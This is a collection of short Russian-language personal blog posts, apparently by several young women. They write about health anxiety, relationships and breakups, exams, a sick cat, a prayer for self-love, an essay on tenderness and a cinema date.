    Сегодня снова не могла уснуть половину ночи, итог - проснулась еще более усталой. Если говорить откровенно, то я уже давно не высыпаюсь, не важно сколько часов сплю. Чем более поздний час, тем сильнее тревога. В 1:40 я стала искать в учебнике ревматологии первые симптомы подагры и аутоиммунного артрита, потому что показалось, что стали болеть суставы на руке и ногах. На прошлой неделе, тоже ночами, я попеременно подозревала у себя болезнь Такаясу (когда отлежала левую руку), ВИЧ (иначе почему уже 2 недели кашель не проходит?), рассеяный склероз. Когда у меня был заложен нос месяц назад, я рыдала на мамином плече, твердо уверенная, что это опухоль верхнечелюстного синуса и умоляла лора дать направление на рентген. У меня золотая скидочная карта (да, такие бывают) в частной независимой лаборатории, потому что сдала анализов на сумму более 10000 за год (всё оплачено, разумеется, родителями). Странно, что потакать истерическим прихотям они могут, а нанять психотерапевта - нет. Наверное, все дело в том, что когда твой ребенок несколько часов, а то и дней (да, да, дней или даже недель) подряд заливается слезами и кричит: "У меня рак, у меня точно рак!", то это оставляет тебя чуть менее равнодушным, чем вопли "у меня тревожное расстройство, у меня ипохондрический невроз!". И я не симулирую, черт возьми. Это каждый раз серьезно, я всегда с полной уверенностью в собственной правоте извожу себя же тревогами о неминуемой страшной болезни. Это не игра, не извращенное развлечение, и не средство привлечения внимания. Мне часто бывает страшно до рвоты (язва, рак желудка?), до потери сознания от этих мыслей. Большую часть времени просто держу это в себе, катаясь по кругам персонального ада на высоте тревожного приступа, с пульсом 120 ударов в минуту, головокружением и рвотными позывами, или пишу сюда. И после этого я - избалованная девка, которой просто нужно выйти замуж, родить и перестать забивать голову всякой ерундой. Ладно, хорошо.

    Молитва "О Любви к Себе".. О Творец Всемогущий, отец мой, молю Тебя помочь мне принять себя такой, какая я есть. Помоги мне принять мой разум, все мои чувства и желания с моей неповторимой сутью. Помоги мне принять мое тело, таким, какое оно есть, во всей его красоте и совершенстве. Пусть моя любовь к самой себе будет так сильна, что я никогда больше не отвергну себя, не стану лишать себя счастья, внутренней свободы и любви. Помоги мне любить себя и принимать себя без осуждения, ибо когда я сужу себя, то признаю себя виноватой и я вынуждена наказывать и корить себя, а это сбивает меня с пути любви. Укрепи же мою волю и стремление прощать себя. Очисти ум мой от эмоционального яда и самоосуждения, чтобы я могла жить в полном покое и любви. Пусть каждый поступок, каждая моя реакция, каждая мысль и чувство будут отныне основаны на любви. Отец, помоги мне укреплять любовь к себе, пусть преобразиться вся моя жизнь, пусть страхи и трагедии - сменятся любовью и радостью. Да будет сила моей любви к себе так велика, что свободна я стану от чужого мнения, и буду жить и поступать по искреннему велению сердца моего. Помоги мне полностью довериться тебе. На всякий миг моей жизни наставь и поддержи меня. Пусть моя вера и любовь к себе позволят мне смело брать на себя ответственность, не пугаться трудностей и решать их, если они возникнут. Помоги мне твердо верить, что все что ниспослано тобою - на благо мне, и что всегда найдется решение и люди, которые помогут на пути моем. Пусть всё чего мне хочется достичь, свершается силой любви самым приятным и эффективным для меня способом. Пусть на лице моем сияет улыбка, придающая мне внутреннюю и внешнюю красоту. Помоги мне ощутить такую сильную любовь к себе, чтобы я неизменно радовалась общению с собой. Пусть моя любовь к себе станет той силой, которая изменит мою жизнь. И когда в душе моей проснётся эта новая сила, пусть преобразятся все мои близкие отношения, начиная с отношений с самой собой. Дав мне силу любить себя, позволь всем моим отношениям строиться на любви и уважении. Помоги мне избавиться от нужды говорить другим, как им думать и какими им быть. Помоги мне принимать других такими, какие они есть, без оценок и осуждения, ибо, отвергая их, я отвергаю саму себя, а отрицая себя, отрицаю Тебя. Помоги мне полюбить себя так крепко, чтобы я могла простить любого, кто причинил мне боль. Дай мне мудрости любить свою семью и друзей без всяких условий, стать радостной и любящей. Помоги мне найти новые пути общения, чтобы не было больше войны за контроль и власть, не было победителей и побеждённых. Я буду трудиться, направляя своё усилие на любовь, радость и гармонию. Помоги мне встретить родную душу. Мужчину самого лучшего и близкого для меня. Пусть мои романтические отношения будут самыми прекрасными и гармоничными для меня. Помоги мне испытывать радость всякий раз, когда я буду отдавать себя любимому человеку. Помоги построить семью на любви, согласии, гармонии и стать счастливой, наполненной любовью женой и матерью. Даруй мне мудрость, внутренние силы и любовь в сердце, чтобы исполнить свое женское предназначение и найти в этом свое счастье. Помоги мне, Боже, возлюбить все, что сотворено Тобой, вне всяких условий, ибо когда я отрицаю Твое творение, я отрицаю Тебя. Помоги мне радоваться этой жизни и Миру, изучать, наполняться светлыми желаниями и стремлениями, стать уверенной и смелой, по настоящему живой и любить себя безусловной любовью. Позволь мне открыть свое сердце навстречу любви, чтобы могла я найти ее везде и всюду, куда бы ни отправилась. Помоги мне самой излучать любовь и свет. Помоги мне распахнуть свое сердце для Мира. Помоги стать воплощением Женственности, Благодарности, Великодушия, Любви и Гармонии, чтобы я могла радоваться всему сотворённому Тобой-во веки веков! Аминь.

    Считаю дни до увольнения и радуюсь.

    Работа должна приносить удовольствие. Даже если она тяжёлая, она выполнима, если она интересна. А вот когда работа начинает только раздражать, надо срочно её бросать. Что-нибудь другое всегда найдётся.

    Осталось 10 смен.

    Как бы желая самой себе что-то доказать, я решила сделать то, что у меня получается: испечь что-нибудь. Так как масло мама трогать запретила, а времени было мало, пришлось делать лимонное печенье. Вот, чем все кончилось. Отвечаю, у меня опять истерика началась, только я не могла перестать ржать.

    Ну в итоге получилось милое печенье, приготовленное с любовью и небольшой истерикой.

    Я девушка слова. Сказала, что хочу напиться взяла и напилась. Вчера всё было очень хорошо. Он целый день мне звонил, говорил где он и что с ним. Сказал, что заедет ко мне вечером. Ближе к вечеру я пошла со своей сестрой погулять, мы зашли в бар и просто пошла жара. Я только и видела, как льётся виски с колой. Хорошенько напившись, я поехала домой. Мой возлюбленный мне не звонил, я думала, что он уже не заедет ко мне. Я себе со спокойной душой спала. У меня были мысли в голове, что вот оно, того что мне так не хватало. Расслабиться, не думать ни о чём, ни о проблемах, не думать, что и как с мч. Но я уже проснулась ночью и вижу что он мне звонил, я поняла, что он хотел заехать, а я трубку не взяла. Теперь он от меня трубку не берет. Но ещё не вечер. Когда он идеи куда - то в клуб, то он от меня тоже не берет трубку. Можно сказать, что он вчера побывал на моем месте, ведь он не знает, что я уже спала в это время. А сейчас, что бы не наяривать ему на телефон, я почитаю книжку

    самый лучший комплимент - это когда человек искренне смеется над твоей шуткой. или когда добавляет в свой плеер аудио, которые нашел у тебя. и я сейчас серьезно.

    Да, пост вдогонку. Я никудышный писатель, поэтому долгое время просто наблюдала за блогами, читала проблемы девочек, их истории, улыбалась, переливала, вдохновлялась. Поэтому с наступлением полного пиздеца в моей жизни я решила выливать все мысли сюда, а не на уши друзей, тви. Посему, буду очень рада советам, общению)

    Моё самое экстремельное путешесвие ещё впереди. В понедельник, если точнее. Устный зачёт по защите интелектуальной собственности. Тот ещё экстрим, если учесть мою подготовку и количество материала для запоминания.

    Знаете в чем парадокс? Смеёшься ты всегда с кем-то, а плачешь одна. Потому что никого, даже твоих близких друзей и подруг не будут волновать твои загоны и тараканы с голове, конечно, проще сказать:"не парься! Выкинь эту чушь из головы!", но эта чушь пожирает тебя изнутри, заставляя осознавать собственную ничтожность. Самое главное, что я поняла-это все от одиночества. Нет, физически каждый день рядом десятки людей, некоторых ты считаешь очень родными и близкими, а духовно ты одинок. И хочется зарыдать от этого бессилия, а потом на секунду задумываешься, кому нужны эти твои вопли, крики? НИ КО МУ. Пора привыкнуть, что в этом мире каждый за себя и никто не будет утирать тебе сопли, если тебе вдруг стало грустненько. Очень хочу не накручивать себя и видеть то, что есть. Без лишних додумок, потому что именно они рождают во мне эти загоны. Но к сожалению, так устроена девочкина сущность, а в симбиозе с моей впечатлительностью и эмоциональностью это труба, господа. Господи, я хочу проводить воскресное утро с лёгкой головой и чистыми мыслями, а не думать о долбаебе, который мне не пишет и судя из разговоров его друзей сегодняшней ночью и не напишет. Ненавижу это состояние лёгкой блять влюблённости. Кил ми

    Это ежедневный труд. Это забота не только о близком человеке, но и о вашем уюте. Это совместные победы и поражения. Это непонимания и попытки понять друг друга. Это ежедневная борьба с собой, чтобы становиться лучше для своей любви. Человек любит тебя таким, какой ты есть. Но притягивает в людях их стремление к развитию. Семья - это повод становиться лучше каждый день. Создавать мир в себе и вокруг себя. Жена с трёхмесячным опытом. 07.02.2016.

    вчера отравилась своей любимой шавермой то, что мы любим больше всего, убивает нас и пропустила вечеринку, которую ждала больше двух месяцев.

    ветеринар сказала, что кота надо успыпить, но я не могу пока этого сделать, потому что, хоть он и не ходит почти, но еще находится в свое уме и не умирает. буду ждать, пока ему не станет совсем невмоготу.

    Прошла неделя после приезда Саши. Пользуясь моментом (он сейчас спит) я хочу написать.

    Сейчас я абсолютно не имею понятия, что будет с нами дальше. У нас состоялся очень серьезый разговор, я выговорила впервые абсолютно все, что думала. До каждой мелочи. Ключевым было то, что я ему сказала: "Я не могу сказать, что люблю тебя".

    И знаете, я себя таким гавном чувствую. Потому что, несмотря на все это дерьмо, которое я ему выговорила, он сказал, что готов меняться, признает свои ошибки и не хочет меня терять. Вот за что же он меня так любит, а?

    Может любви я и не чувствую, но все же мне на него не насрать. Все же у меня есть к нему какие-то чувства. Не знаю какие. Но мне на не все равно. И мне больно видеть, что я делаю ему больно.

    Сейчас вроде все хорошо. Но так всегда после ссор. Какое-то время все идеально, а потом все по новой.

    Я в абсолютном неведении, что будет дальше.

    Вчера сдала первый экзамен. Нужно было сделать контрольную работу, а на паре решить еще задачу по эконометрике. Я все сделала, и когда села отвечать, препод открыл мою контрольную и нашел маленький косяк на первой странице В САМОМ, БЛИН, ПУСТЯКОВОМ МЕСТЕ (ну, это ж я). И такой говорит "Ооо, ну все, я сразу вижу, что тут даже спрашивать нечего" и убирает мою работу, не посмотрев больше, и тянется к зачетке. Я говорю "Нет, спросите меня!", он опять говорит, что если в таком ошибка уже, то явно я нихрена не знаю. Я продолжаю настаивать, все смеются уже над тем, что рвусь отвечать (потому что все вокруг позаказывали работы и дуб дубом в этом предмете). В итоге препод соглашается, начнает задавать заковыристые вопросы, просит писать разные модели и прочее, и когда понимает, что я все-таки знаю его предмет, ставит мне "Отлично". Вот так вот)

    P.S. а если бы не настояла, так и сидела бы с незаслуженной тройкой

    я не понимаю.для меня это все слишком странно.вселенная так шутит?
    это странно, когда он звонит, чтобы спросить нормально ли я доехала до дома.
    странно и смешно сидеть на полу и пить виски из пластиковых стаканчиков, предназначенных для кофе :D
    еще более странно, когда тебя зовут на концерт в другой город.
    я ничего не понимаю.что происходит?

    "Расскажи им, что я больше тебя не люблю. Расскажи мне, как они тебя целуют. Выпей. Напейся. Да только не думай, что я по тебе скулю. Скулю. А ты просто не думай."

    1. Мы никогда не уходим от женщин, с которыми нам хорошо. И даже от тех, с которыми когда-то было хорошо - ни сразу.

    2. Мы понимаем в женщинах вдвое меньше, чем хотелось бы. Но вдвое больше, чем вы думаете.

    3. Большинство из нас умеет стирать. А так же гладить, вытирать пыль и даже готовить себе что-то приемлемое. Поэтому женская помощь по хозяйству нам не настолько необходима, чтобы терпеть ради этого сварливость и неуважение.

    4. Мы не боимся сильных женщин. Они нам просто не нравятся, так же как вам не нравятся слабые мужчины. Оба эти типажа - ущербны, поэтому легко сходятся: пара из сильной женщины и слабого мужчины - это не редкость, а скорее классика.

    5. Если мужчина кажется безынициативным тюфяком, может быть он просто вас не хочет. Да, и такое тоже бывает! Мы способны как раздувать хвост павлином, так и впадать в спячку - в зависимости от ситуации.

    6. Размышления друга о судьбах мира и тщете сущего должны вас насторожить. Они могут оказаться симптомом простатита!

    7. Девушка, кричащая на официанта, не вызывает у нас уважения. А только разочарование на грани брезгливости.

    8. Иногда мы действительно знаем, что делаем. Даже когда вам очень не хочется это признавать.

    9. Мы можем безропотно и долго исполнять все ваши капризы. Но иногда это просто любопытство - насколько далеко вы можете зайти в своем эгоизме. По результатам обычно следуют оргвыводы.

    10. В мире примерно три миллиарда женщин. Причем среди красивых среди них намного больше, чем среди мужчин - умных и успешных. Мы об этом вспоминаем, когда от нас требуют слишком много, а дают слишком мало.

    11. Не все из нас считают женскую полноту недостатком. С возрастом этот вопрос занимает нас всё меньше и меньше.

    12. Каждый из нас больше всего ценит в женщинах доступность. Но только если эта доступность - для него одного. Простите нас за этот парадокс.

    13. Если кто из нас ведет девушку в ресторан, это еще ничего не значит. Точно так же ничего не значат улыбки, шутки и прочий легкий флирт. Мы точно так же к вам присматриваемся, как и вы к нам.

    14. Мы тоже иногда занимаемся с вами смехом, когда не очень хочется. Просто чтобы не обидеть. Если же вы решаете ложиться с нами в постель, только когда сочтете нужным, мы можем поступить так же. И смех станет очень неплохим, только у каждого - свой.

    15. Мы не слепые и замечаем ваши небритые ноги, не прокрашенные корни волос и прочие мелочи.

    Просто нам бывает на это наплевать, если мы действительно вами увлечены.

    6 февраля прошло наполовину хорошо, наполовину плохо.
    Ночью я написала Диме и сказала, что хотела бы с ним дружить и не будет ли он против общаться и видеться. Я же была счастливая, на радостях ночью)
    Утром ко мне пришёл Серёжа. Мы поговорили и я решилась спросить у него не будет ли он против, если я буду с Димой дружить. У меня просто была большая радость от общения вне привычного круга и я думала, что он желает мне добра и рассудит здраво, зная человека и всю его ситуацию, что он не ищет девушку и уж тем более не смпитизирует мне в этом смысле. Мне вообще кажется, что я его отторгаю в плане внешности и поведения. Но Серёжа отказался, он сказал, что не знает как там будет дальше… в общем, его можно понять, он просто не хочет чтобы его предали. Но у меня и мыслей таких не было. Я очень расстроилась (не до слёз конечно) и начала возмущаться, почувствовав, что ошейник на моём горле затянули потуже и дёрнули за поводок. Я не понимала как так то? Почему???
    Я не стала всё превращать в ругань, так как меня начало колотить от беспомощности и я пошла убирать кошачий помёт, всё же лучше, чем быть там с ним в одной комнате. Убирая, я жалела и успокаивала себя, что всё не так плохо, что можно в случае чего сказать Диме, что ничего не получится, так как Серёжа против и я же до этого была без общения, значит жить можно, тем более есть блог. Но всё равно мне хотелось другого. Я вернулась в комнату и разговор продолжился, он сказал почему против и что конечно же я не послушаюсь и сделаю всё по другому. Я сказала, что нет, я приму его решение, но если у него будет похожая ситуация, когда он найдёт друга и спросит, не против ли я, чтобы они общались, я отвечу, что против. Что нельзя строить отношения дальше на недоверии и если ему надо, то я могу фоткать и всё вокруг (улицу, себя, комнаты), чтобы он знал, что я не вру. Может звонить и проверять, я не против. Уж лучше так, чем если он будет дома себя накручивать. В общем он проявил большое мужество (для меня), согласившись принять решение, которое будет лучше мне и уступил. В моих глазах он поднялся и я действительно горжусь своим парнем. Попозже он предложил хоть иногда видеться втроём, если Дима будет не против, на что я согласилась и Дима тоже. То есть всё улажено и я могу общаться с человеком с которым у меня схожее мышление и который стал ближе за такой короткий срок, чем мои нынешние подруги (мне правда кажется, что им не нужны мои проблемы и они меня не понимают, тем более меня и так поставили на задний план, просто без громких объявлений).
    Потом я захотела, ещё ночью, порадовать Серёжу и сводить его покушать куда-нибудь. Рита нам много рассказывала о кафе «Урбанс» и хоть там внешний вид без особого ремонта и потолок со стенами потресклася, это не испортило впечатление от еды и общей атмосферы, мы были там почти одни, душевно разговаривали, смотрели в окно и я фоткала всё что хотела. Обновила инстраграм наконец то)
    Потом мы приехали домой и мне стало плохо от переедания и походов, заболел живот и я много жаловалась на это. Серёжа меня пожалел, потом за ним заехали и дома уже мы проговорили в скайпе 3 часа, смотрели видео и играли в бильярд)
    Вот сюда ещё закину свои фоточки из «Урбанса».

    Как же вы все заебали. Просто бесит уже. "У тебя к каждому своему парню чувства". Да блять, представь себе, если бы их не было, то и парня не было. 5 парней за 18 лет - это ж пиздец, как много. Вы серьёзно? Я знаю баб, у которых по 30 парней и ничего. Какой ужас, ты трахаешься со СВОИМ ПАРНЕМ в 18 лет после 2 месяцев встречаний и зная его больше полугода. Как же это бесит. Просто нереально. Все такие правильные, прям святоши. А то, что ты хотел переспать с другими бабами до свадьбы, типа нагуляться, то это норм, шикарно. Ещё один считает, что полигамия для парней вполне нормальная, но когда я сказала, что сплю с бывшим парней, при том, что ни у меня, ни у него никого нет, то это капец. Я сразу шлюха. Где, блять, логика? Мне кто-нибудь объяснит, а?

    Если бы я знала что мне снова надо будет проходить эти 7 кругов ада, если бы я знала что сейчас буду лежать с температурой 38, реветь, не спавши собираться при этом через 2 часа на работу.СУКА!Лучше бы я утопилась в речке, как можно было так поступить, сука КАК.

    Во время сессии я наела лишние кг, и сейчас занимаюсь тем, чтобы привести себя более-менее в порядок. И о боже мой, резко захотелось в Мак Дак, КФЦ и в пиццерию. Ненавижу это состояние и ощущение, когда тебе фаст-фуд 200 лет не был нужен, а именно в тот момент, что приводишь свой организм в порядок, хочется сожрать всё.
    Как это работает, черт возьми?!

    Вот ещё есть такая забавная вещь, на свете полно мужиков-женоненавистников, и все ровно есть на свете баба, которая может все его мировозрение поменять к чертям! И станет для него его красатулей, лучшей женщиной на земле, и прихоти все её будет исполнять. Это к тому, что грамотная девушка всегда рулит в отношениях. Я не о том, что мужика надо делать каблуком, просто уметь влиять на него-это прекраснейший талант.

    я разочаровалась во всем. так плохо, отвратительно, жалко я себя то ли никогда то ли очень давно не чувствовала. я уже устала даже тут в блоге ныть об этом. но сегодня был просто пиздец и пожалуй это была точка моего кипения. зачем, просто зачем рассказывать мне как я ему дорога, чтобы потом весь вечер со мной не общаться, опять же таки что сделав? правильно, променяв на своих ебучих корешей. надо просто набраться смелости и силы и покончить со всем этим. навсегда. как бы мне этого не хотелось, так нужно. если человек лев толстой только на словах, то нужно вспомнить про свое самоуважение и разорвать с ним любые отношения. как бы не было тяжело, больно и трудно. я не игрушка

    Картинка с тегом «tangled, book, and rapunzel»

    Ещё с НГ мама предлагала мне пойти к репетитору по английскому. Но я всё оттягивала из-за сложного нынешнего финансового положения, проблем. Однако я очень хотела в очередной раз начать изучать язык (в своёвремя занималась английским у трёх репетиторов..). Ибо время идёт, а я не делаю шагов вперёд к тому, чтобы свалить отсюда, ведь как я без языка? Зарекнулась сегодня мамочке про репета..

    -Даша, ну я ж тебе с НГ говорю- иди! Конечно, нужно, - и в сию минуту она набрала репетитора. Во вторник у меня первое занятие. К сожалению, пока смогу ходить только раз в неделю, но это уже что-то. Одной ногой я уже не в этом быдлятнике. В скором времени и милый подтянется к изучению английского языка.

    Милый провожал меня на метро, а в моей голове крутился один вопрос.. Стоим уже в метро:

    -Я хочу у тебя кое-что спросить.

    -Давай!, - и тут я потеряла всю уверенность..

    -Нет.. В другой раз..

    -Ну давай!

    -Ладно.. Скажи, ты не жалеешь, что всё так, как сейчас..? Мы не тусим, как летом, нет компании и всё такое..

    -Нет, ни капли. Зато у нас всё хорошо, мы стали редко ругаться. А ещё мы сблизились с нашими семьями.

    -Точно..?

    -Ну конечно! Да, летом были весёлые тусовки, но с этим нужно было завязывать. Я уже подумывал об этом, но не мог завязать. Ты мне помогла.

    -Господи, прям не верится, что я это слышу от тебя, - немного о том, что некогда стерва и распи**яй изменились, переоценив все взгляды, приоритеты, поверили во многие вещи, изменили свою жизнь, друг друга в лучшую сторону, стали микро семьёй. За 11 месяцев мой любимый мальчик раскрылся как полноценный человек, который знает, чего хочет в своей жизни. Я горжусь собой, потому что цветок расцвёл благодаря мне. Такая же ситуация и со мной. Мы два цветка, который расцвели рядом друг с другом.

    Нежность–самое интимное из всех человеческих чувств. Радость, ненависть, страсть, - все это наполненные, сильные эмоции, которые люди не стесняются выражать. А нежность – это что-то слишком личное, неуловимое, легкое. Не то, что надо показывать всем. Может быть поэтому, мы, как светофоры, зажигаем для своей нежности три ярких, совсем не нежных цвета: красный, желтый, зеленый. Нельзя, приготовиться, можно.

    Красный.

    Моя подруга Алена уверена, что без оглядки проявлять нежность можно только к детям и животным. Когда ты видишь пушистого котенка или розовощекого карапуза, то скрывать свои чувства нет нужды. Эти существа тебя не осудят и – главное! – не ранят тебя. Ведь быть нежным – это, как она говорит, обнажить пузо. И с этим процессом надо быть максимально осторожной.

    Алена – опытная барышня. Как и все, она поначалу слишком открывалась, задыхалась от нежности, далее по списку. Она приносила очередному возлюбленному свое сердце на блюдечке и заявляла: «Оно твое!». Но потом поняла, что делать это не обязательно. Теперь она как броненосец прячет свое естество за крепким панцирем. И только иногда высовывается из образа, чтобы посюсюкать с теми, с кем сюсюкать общество не считает проявлением слабости.

    Еще сложнее мужчинам. Навязанный социумом стереотип мужественности подразумевает отказ от эмоций вообще – мальчики не плачут. Твой старый солдат, не знающий слов любви, больше всего боится показать свою уязвимость и зависимость. Ты ждешь от него ласки, которая не закончится разбросанной по полу одеждой, а он недоумевает: «Я же с тобой, разве это не объясняет все, разве этого мало?» Он знает, что этого мало, но ему тоже страшно без брони. Вдруг ты ткнешь в его незащищенное пузо острой коленкой? Поэтому, даже когда его буквально распирает, он мысленно зажигает перед своей рвущейся на свободу нежностью красный свет: «Стоп! Я все-таки мужчина! Я должен быть сильным!». Он покупает очередной букет (не потому ли цветочный бизнес так популярен в России, что мужчины не могут словами сказать о своих чувствах?), отшучивается и делает вид, что ничего и никогда не воспринимает всерьез. Кроме футбола. Такое вот серьезное занятие – спорт.

    А еще - техника. Один мой приятель предпочитает проявлять нежность не по отношению к девушкам, а по отношению к своей машине – она хоть и не отвечает ему взаимностью, зато никогда не уйдет, не предаст и не засмеется в лицо: «Ну ты и хлюпик!» Девушке такого молодого человека потребуется колоссальное терпение и такт, чтобы дождаться, пока его светофор переключится, пока он откроется, станет самим собой и поймет, что нежность – это прерогатива именно взрослых людей.

    А есть ведь такие, которые не откроются и не повзрослеют никогда, сколько ни жди. Ты родишь ему троих детей, а он в лучшем случае скажет на вашей золотой свадьбе: «Ну это… мать… того. Поздравляю с юбилеем, желаю счастья в личной жизни. Пух».

    Умный мужчина Анрей Деменьев как-то написал: «Не находящая выхода нежность на вымирание обречена». С некоторыми Железными Дровосеками так и случается - их нежность, запертая в самой глубине души, постепенно чахнет и, в конце концов, отбрасывает коньки. Опыт подсказывает, что воскрешать ее – бесполезное занятие. Ты – не бог. Не стоит тратить жизнь на то, чтобы научить человека быть человеком.

    Желтый.

    Мама рассказывала, как папа, тогда еще всего лишь ее дачный товарищ, катал ее на велосипеде. Она сидела на раме, смеялась, болтала, чихала от пыльцы ромашек, которые держала в руках. А он осторожно целовал ее в затылок, уверенный, что она этого не замечает. Но она замечала и понимала, что это - начало. Что будет у них потом что-то большое, чистое, светлое и так далее, и тому подобное. Все будет, обязательно будет, а пока есть только это: невысказанные признания, непрочтенные стихи, не подаренные звезды. Предчувствие любви, пронизанное обоюдной нежностью.

    Желтый свет. Подожди. Не торопись, в ожидании есть своя прелесть. Можно ливнем обрушить на человека чувства, спринтерски рвануть вперед с низкого старта, сметая все живое на своем пути. А можно замереть, наблюдая, как зарождается то, что есть главной силой любви - нежность и доброта. В улыбке. В словах. Во взгляде. В прикосновениях.

    Время нужно еще и для того, чтобы понять, что испытывает к тебе твой кавалер. У Анны Ахматовой (у нас сегодня какой-то вечер поэзии!) есть такие строчки: «Настоящую нежность не спутаешь ни с чем, и она тиха». «Тиха» – ключевое слово. Испепеляющие взоры и пылкие лобзания – это из другой оперы. И когда подмигивающий молодец сообщает: «Крошка, я между прочим, тако-о-ой ласковый» - ты, конечно, догадываешься, что речь идет только о сексе. Как в том старом советском фильме, когда несознательный студент приставал к хорошеньким барышням с одной фразой: "Нежности хочется", - и, понятное дело, тут же пытался расстегнуть блузку.

    Зелёный.

    Есть люди, которые включили своей нежности один свет – зеленый. Как правило, это свежевлюбленные граждане, которые не могут оторваться друг от друга, ежеминутно целуются и трутся друг о друга носами. Выглядит все это крайне неприглядно, и окружающие усмехаются: «Опять телячьи нежности начались!». Эти двое и вправду, как телята, ласковые и глупые. «Ни за что не буду так себя вести», - думаешь ты и, конечно же, как только взаимно и счастливо влюбляешься, начинаешь себя вести именно таким образом. На здоровье! Это твое время.

    Вообще добрые чувства, которые направлены на твоих любимых, всегда должны иметь зеленый коридор. (Но проявлять их в публичных местах надо в рамках разумного – вряд ли будет уместно без конца шептать своему спутнику: «Котик, пупсик, зайчик… мрррр» на приеме у президента, особенно если твой спутник – сам президент). И не оправдывай свое бездействие тем, что объект твоих чувств «и так все знает». Говори ему. Показывай, проявляй свою нежность всеми доступными способами. Людям нужна нежность хотя бы потому, что они не умеют целовать свои собственные веки.

    Итог.

    Так вот. Пора подводить итог. Нежность, если верить словарю, - это оттенок поведения человека разумного, придающий особую эмоциональную окраску отношениям. Нежность – это когда ты ночью ворочаешься и раскрываешься, а твой любимый раз за разом накрывает тебя одеялом. Когда подруга сидит с тобой, зареванной, с лицом, похожим на грушу и говорит, что все у тебя будет хорошо. Когда дед, разговаривая по телефону с внуком, улыбается, прижимается щекой к трубке. Когда в зале прилета люди встречают близких и, обнявшись, на секундочку замирают.

    Нежность - спутник любви. Без нее нет жизни на земле. Нет глубины, интимности, истины. Как говорил – внимание, проза! – Достоевский: «У вас нежности нет, одна правда, стало быть, - несправедливо».
    Жизнь несправедлива без нежности, понимаешь?

    Билеты в кино были куплены заранее моим братом, так как его офис располагается рядом с кинотеатром. Поскольку в первые дни недели я не высыпалась, вставая рядом, плюс эмоциональная нагрузка в ветклинике, которая "растворяла" почву из-под моих ног, я не смогла вовремя встать из постели, написать посты и потихонечку собираться в кинотеатр. В итоге я вышла на 15 минут позже назначенного. Тем не менее, в кино мы приехали довольно рано. Китти стоял курил (снова начал курить… Обещал, что постарается бросить), я как маленький ребёнок, который хочет мороженое, у него спросила: -А можно мы потом быстренько в ТЦ заедем..? Хочу одну вещь купить.., = сказать, что дальнейшая ракция Китти меня удивила- ничего не сказать: -Заедем. Главное, чтобы моя принцесса была довольна и в хорошем настроение, - мягко, улыбаясь ответил Китти, после нежно поцеловал. Стоим в кинобаре, милый:

    -Что будешь?

    -Попкорн..

    -И всё?

    -Да.

    -А желатинки?

    -Их нет..

    -Может, ещё что купить?

    -Неа.

    -Точно?

    -Да.

    -Фигурку не хочешь?

    -Никакие не нравятся.

    -А стаканчик?, - после этих слов я не сдержала предательскую улыбку.., - Какой тебе покупать? Смотри, с "Кунг-фу пандой" есть. Его?".

    Универсальный набор еды для кинотеатра купили, успели посидеть, я загримировала Китти. Ходили мы на фильм "Джой". Постараюсь не забыть и напишу про него отдельный пост. Но всё же скажу одно- как же напрягает Лоуренс, которая ассоциируется у меня с дояркой-деревенщиной. Ну не люблю я, не люблю. А моменты, когда она начинает плакать.. Кровь из глаз. Впрочем, даже если бы фильм мне не понравился, всё скрашивала атмосфера, наш с Китти мир, ведь мы были с ним вдвоём, никого не замечая- кормили друг друга попкорном, Китти с самого начала положил мне руку на коленко и не убирал до конца фильма. Иногда гладил руку, нежно целовал. Сразу вспоминаю, как мы недавно ходили с приятелем и его шкурой.. Нет, всё-таки вдвоём лучше, как ни крути. Во время фильма мне пришла смс с текстом -ля: "Последний день финальной распродажи!" из моего любимого магазина. Заулыбалась. Я в тот раз тупанула и не купила майку, которую очень хотела, как я поняла, когда уже ехала домой..) Фильм закончился, я снова издалека обращаюсь к Китти:

    -Китти.. А мы можем ещё в мой любимый магазин зайти, пожалуйста..?, - думала, что он не хочет светить свой глаз на людях, но Китти на это похер.

    -Можем, принцесса.

    Поехали. Майки не было, но выходя из магазина я заметила носочки с Микки Маусом и купила их..) На скидке, кстати..) Затем мы пошли сесть на лавочку, чтобы отведать свежую выпечку. Но прежде я позвонила в ветклинику, чтобы записать Васю на понедельник на операцию, затем ветерирану для того, чтобы уточнить некоторые вопросы. Как же он любезно со мной разговаривал.)) Перезвонила родителям, чтобы сказать про запись:

    -В понедельник не получится.

    -ЧТО? КАК? ВЫ ИЗДЕВАЕТЕСЬ? Я ЖЕ УЖЕ ЗАПИСАЛАСЬ! МЫ ДОГОВАРИАЛИСЬ?, - как же меня бомбило в тот момент.

    Не описать словами, что я чувствовала. Я устала от этих перебежек, непониманий, когда и что. Хочу побыстрее вылечить Васю и забыть весь этот кошмар, который на меня взвалили. Отменять запись я не стала. Китти начал меня успокаивать, поддерживать. Далее мы принялись кушать нашу любимую выпечку. Ох, всё закончилось тем, что я чуть всё не швырнула и не ушла..) В жизни не угадает, из-за чего..) Китти заставлял меня всё доесть, а я не могла..))) Говорил, что пока не доем- мы отсюда не уйдём. Я так села на коня, пытаясь доказать, что наелась, меня тошнит, что всем телом чувствовала, как у меня поехала нервная система.. Мне было страшно.. Благо, Китти не обидился, всё восприняли в шуточной форме, быстро вернул меня в состояние колеи, посмешил. Следующим пунктом был другой ТЦ, в котором я хотела примерить два платья-байки. Так с деньгами сейчас траблы, я покупаю вещи за свои деньги, минут 15 крутилась возле зеркала, советуюясь с Китти, стоит ли мне делать покупку. Это было странно.. Но с одной стороны хорошо. В коем-то веке научилась делать обдуманные покупки, а не покупать десятки вещей без примерки, чтобы по итогу продавать за три копейки или вообще отдавать. Выбрали, купили, поехали к Китти. Он собирался почистить приставку. Я сразу пошла на кухню, села, в ожидании чая. Мама Китти смотрела сериал. Китти сделал чай, направлялся чистить приставку:

    -Ну что: со мной идёшь или с мамой посидишь?, - я сначала встала, взяла кружку, сделала шаг, а потом что-то стрельнуло в голове и я решила остаться с мамой Китти.

    Мы смотрели сериал "Люцифер", болтали, пили чай. Словом, душевно проводили пятничный вечер. Попутно она делала запеканку. В скором времени к нам присоединился Китти, начал меня донимать с едой.) Заставил поесть.) Доставал до ужаса, вновь садил на коня.) Мама Китти за меня заступалась, а он в ответил доказывал, что я ничего не ем и бла-бла..) Мама Китти попросила его помыть посуду:

    -У меня гости.

    -Ты мой посуду, а разберусь с гостями, - довольно ответила мама Китти.)

    Наша Золушка помыла посуду и продолжила смотреть с нами сериал.) Запенка не получалась, делалась в мультиварке более часа. И вот она уже по идее должна быть готова, мама Китти достаёт штуку из мультиварки, где готовилась запеканка, переворачивает, а оттуда вываливает меньшая часть. Мама Китти удивлённо:

    -А где она?, - как же долго мы смеялись.

